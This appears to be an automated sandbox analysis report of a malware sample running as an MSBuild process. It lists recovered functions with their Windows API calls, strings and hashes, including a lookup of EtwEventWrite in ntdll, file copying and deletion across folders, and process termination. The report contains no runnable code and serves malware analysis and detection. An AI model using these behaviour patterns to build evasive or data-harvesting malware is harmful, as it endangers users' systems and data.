Instruction ID: 277dc4e046663c8ecaa9b12b995e3b45fe52676ed53db3f7bdcff30859ae9fca
Opcode Fuzzy Hash: be79a2a7e9aaca69112733cb54712ed9ea9badf19c2d7797a33f7b9a263133be
Instruction Fuzzy Hash: 31D0C2B565020CBBCB04E7AAE8069CDB6E89F48700F20016BE700E3241EA7456004559

Function 00411D61 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
HeapAlloc.KERNEL32(00000000), ref: 00411D73
wsprintfW.USER32 ref: 00411D84

Strings

%hs, xrefs: 00411D7E

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 3ad6661e342435e3454c6033efd35680c758cdf589e793b7d7a2c9c560a2e302
Instruction ID: 516a0af99a9d3ed9a850d6bfca40a0a85ae49b58000b6b42a5d70a6c01262027
Opcode Fuzzy Hash: 3ad6661e342435e3454c6033efd35680c758cdf589e793b7d7a2c9c560a2e302
Instruction Fuzzy Hash: F2D0A73134031477C61027D4BC0DF9A3F2CDB067A2F001130FA0DD6151C96548144BDD

Function 004013F6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00401402
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0040140D
ReleaseDC.USER32(00000000,00000000), ref: 00401416

Strings

DISPLAY, xrefs: 004013FD

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceRelease
String ID: DISPLAY
API String ID: 1843228801-865373369
Opcode ID: 6d8e34817c800d656530c1e8e523df0c20ac1b926281776ce52baa48a7045e34
Instruction ID: 36e3823ee53bced430e70f0d048e6716cdaf6b37fc8da0c0fd181c1dc0393a61
Opcode Fuzzy Hash: 6d8e34817c800d656530c1e8e523df0c20ac1b926281776ce52baa48a7045e34
Instruction Fuzzy Hash: A5D012353C030477E1781B54BC5FF1A3934D7C9F02F201164F311680E046E41402973E

Function 004018B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 004018BA
GetProcAddress.KERNEL32(00000000,EtwEventWrite), ref: 004018CB

Strings

EtwEventWrite, xrefs: 004018C5
ntdll.dll, xrefs: 004018B5

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: EtwEventWrite$ntdll.dll
API String ID: 1646373207-1851843765
Opcode ID: 5e51bf90e60cb14d8bd058217a4af9c92f753a1577894b23d64cda725500b0c0
Instruction ID: b010eca93dcea5ac8893ac9cbd630a9a56b58122e1a4efb0db09dbf7787f5420
Opcode Fuzzy Hash: 5e51bf90e60cb14d8bd058217a4af9c92f753a1577894b23d64cda725500b0c0
Instruction Fuzzy Hash: F9B09260B803019BDE186B716F9DB8636786B64B067987262A18AD01B0D7BC8024961E

Function 6CBF0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBF0CD5

Part of subcall function 6CBDF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CBDF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBF0D40
free.MOZGLUE ref: 6CBF0DCB

Part of subcall function 6CBC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBC5EDB
Part of subcall function 6CBC5E90: memset.VCRUNTIME140(6CC07765,000000E5,55CCCCCC), ref: 6CBC5F27
Part of subcall function 6CBC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBC5FB2

free.MOZGLUE ref: 6CBF0DDD
free.MOZGLUE ref: 6CBF0DF2

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: d3998b4c5ea7bf52c4f5e83ac2a922eb14d1416dfb1360096ebe36b7ebad5eed
Instruction ID: 383db9690c69ee2b0e8f6c4f5e4b810895c28f0cf27c40078c9efc9bba92d9b5
Opcode Fuzzy Hash: d3998b4c5ea7bf52c4f5e83ac2a922eb14d1416dfb1360096ebe36b7ebad5eed
Instruction Fuzzy Hash: 5D410675A097908BD320CF29C08079EFBE5BF89754F518A2EE8E887761D7709449CB92

Function 0040B021 Relevance: 6.2, APIs: 4, Instructions: 222filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040B0C6
lstrlenA.KERNEL32(?), ref: 0040B27C
lstrlenA.KERNEL32(?), ref: 0040B297
DeleteFileA.KERNEL32(?), ref: 0040B2E9

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 88e3ebeed86e24cc7b28056dd658e9d3a29e958a980414936145912d381853e6
Instruction ID: f591e2a0d8e138dca35be3644fb2135853aaa162620cf24645ece741f6493c3d
Opcode Fuzzy Hash: 88e3ebeed86e24cc7b28056dd658e9d3a29e958a980414936145912d381853e6
Instruction Fuzzy Hash: 6D810F72A001199BCF01FBA6DE469DDB775AF04309F51003AF500B71A1DBB9AE898B99

Function 6CBC5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CBC5D40
EnterCriticalSection.KERNEL32(6CC2F688), ref: 6CBC5D67
__aulldiv.LIBCMT ref: 6CBC5DB4
LeaveCriticalSection.KERNEL32(6CC2F688), ref: 6CBC5DED

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: b096a49ce61e0d5595257e6ec5ec86d3bd211b9b40cbf6129c7b1d27ca33d0ec
Instruction ID: 4912ad86e61965d17c04b848f44f7c75f5bbc644b351e4923202ae305fe5708e
Opcode Fuzzy Hash: b096a49ce61e0d5595257e6ec5ec86d3bd211b9b40cbf6129c7b1d27ca33d0ec
Instruction Fuzzy Hash: F6515E71F102698FDF08CFA8C954EAEBBB2FB89304F19861DD811A7751C734A949CB91

Function 00425261 Relevance: 6.1, APIs: 4, Instructions: 132COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00425294
_siglookup.LIBCMT ref: 004252BB
DecodePointer.KERNEL32(00000000), ref: 00425313
__lock.LIBCMT ref: 0042533A

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: DecodePointer__getptd_noexit__lock_siglookup
String ID:
API String ID: 2847133137-0
Opcode ID: 566fb7a9ce621392c45170995ac80ea6371b7fc17e128289bbc3db9a78952912
Instruction ID: 163363832fae9a4e463df0ece09c03a68562d95583d470f652ab41388aeef822
Opcode Fuzzy Hash: 566fb7a9ce621392c45170995ac80ea6371b7fc17e128289bbc3db9a78952912
Instruction Fuzzy Hash: 01416D70F00B25CBCB24DF69E8845AEB7B0AB45355BA4512BE801A7391C7B89841CB6C

Function 6CBACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CBACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CBACF4E

Strings

0, xrefs: 6CBACF30

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 12c7597c514820c5a142247f634b3f197bd51cc2702a24d494ae140fe515baba
Instruction ID: 1758782b47cb1d656b408069a38b962ef98e004efb94d8750697f45c67bfd5b2
Opcode Fuzzy Hash: 12c7597c514820c5a142247f634b3f197bd51cc2702a24d494ae140fe515baba
Instruction Fuzzy Hash: 4E510175A042568FCB00CF18C890AAABBB5EF99310F19859DD8595F752E732FD06CBE0

Function 6CBE6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CBE82BC,?,?), ref: 6CBE649B

Part of subcall function 6CBBCA10: malloc.MOZGLUE(?), ref: 6CBBCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE64A9

Part of subcall function 6CBDFA80: GetCurrentThreadId.KERNEL32 ref: 6CBDFA8D
Part of subcall function 6CBDFA80: AcquireSRWLockExclusive.KERNEL32(6CC2F448), ref: 6CBDFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE653F
free.MOZGLUE(?), ref: 6CBE655A

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: e58b0a869b6f2211d5600395c8f3467920248d06e8dd5f9eaefbda990ac3f70e
Instruction ID: 7ecf598ce5fb6314448caafc22a4e3247720f7f6d083dcb0e3863bb85641e24d
Opcode Fuzzy Hash: e58b0a869b6f2211d5600395c8f3467920248d06e8dd5f9eaefbda990ac3f70e
Instruction Fuzzy Hash: CA317EB5A043459FD704CF24D884A9EBBF4FF89714F00482EE99A97741EB34E919CB92

Function 004122B0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004122D7

Part of subcall function 00411D61: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
Part of subcall function 00411D61: HeapAlloc.KERNEL32(00000000), ref: 00411D73
Part of subcall function 00411D61: wsprintfW.USER32 ref: 00411D84

OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
CloseHandle.KERNEL32(00000000), ref: 00412392

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminate_memsetwsprintf
String ID:
API String ID: 2224742867-0
Opcode ID: 619fb392ac4ef57c4e8cdd80c22c9e9be590902abe43c93c1cd9ada057c809bb
Instruction ID: 4908dc3ae55921e5dd248142a0999099d01d310cdfe30bf9d66c42b4d563b095
Opcode Fuzzy Hash: 619fb392ac4ef57c4e8cdd80c22c9e9be590902abe43c93c1cd9ada057c809bb
Instruction Fuzzy Hash: BD314F72A0121CAFDF219F60DD849EEB7BDEB0A345F0400AAF909E2550D6395F848F56

Function 0041665F Relevance: 6.1, APIs: 4, Instructions: 73stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 004166A7
lstrcatA.KERNEL32(?,00436B4C), ref: 004166C4
lstrcatA.KERNEL32(?), ref: 004166D7
lstrcatA.KERNEL32(?,00436B50), ref: 004166E9

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 59a84261f66af8b1b3cbd5ba54a3e3364ba31de220d2ed6513b95352563a0d17
Instruction ID: 7fd9c8d03dcb0e4f51dd0b8f36c6b0ed2d89118aefe17a9919a259e9c492de62
Opcode Fuzzy Hash: 59a84261f66af8b1b3cbd5ba54a3e3364ba31de220d2ed6513b95352563a0d17
Instruction Fuzzy Hash: BA21957590021DAFCF54DF60DC46AD9B779EB14305F1050A6F549A3190EEBA9BC48F44

Function 6CBBB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CBBB4F5
AcquireSRWLockExclusive.KERNEL32(6CC2F4B8), ref: 6CBBB502
ReleaseSRWLockExclusive.KERNEL32(6CC2F4B8), ref: 6CBBB542
free.MOZGLUE(?), ref: 6CBBB578

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 3115abc0b202fe604aed78c7551c9f29fc56706a2c4d3940ab53775c92278fc2
Instruction ID: 39e513720d34b92498b3883589477d7bc68689427c914b26b2b7b315741ff1f0
Opcode Fuzzy Hash: 3115abc0b202fe604aed78c7551c9f29fc56706a2c4d3940ab53775c92278fc2
Instruction Fuzzy Hash: 20110331E14B85CBD3118F29C9507A5B3B0FF96318F10970AE84A63E01EFB9B5C48792

Function 6CBE3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CBAF20E,?), ref: 6CBE3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CBAF20E,00000000,?), ref: 6CBE3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CBE3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CBE3E0E

Part of subcall function 6CBDCC00: GetCurrentProcess.KERNEL32(?,?,6CBA31A7), ref: 6CBDCC0D
Part of subcall function 6CBDCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CBA31A7), ref: 6CBDCC16

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: fd8e6e17ab1db94ef74babeb5dde56bdcfe42a44a459476497b8602376e7e034
Instruction ID: f8436f1597e257edf28cd975586eb70097a1adc515bafb5faf358740aeca6c0d
Opcode Fuzzy Hash: fd8e6e17ab1db94ef74babeb5dde56bdcfe42a44a459476497b8602376e7e034
Instruction Fuzzy Hash: F1F0FE715102087BE700AB54DC41DAB377DEB46664F050020FE0957741D639B91596F6

Function 00412166 Relevance: 6.0, APIs: 4, Instructions: 34fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181
GetFileSizeEx.KERNEL32(00000000,00414FAC,?,?,?,00414FAC,?), ref: 00412199
CloseHandle.KERNEL32(00000000,?,?,?,00414FAC,?), ref: 004121A4
CloseHandle.KERNEL32(00000000,?,?,?,00414FAC,?), ref: 004121AC

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
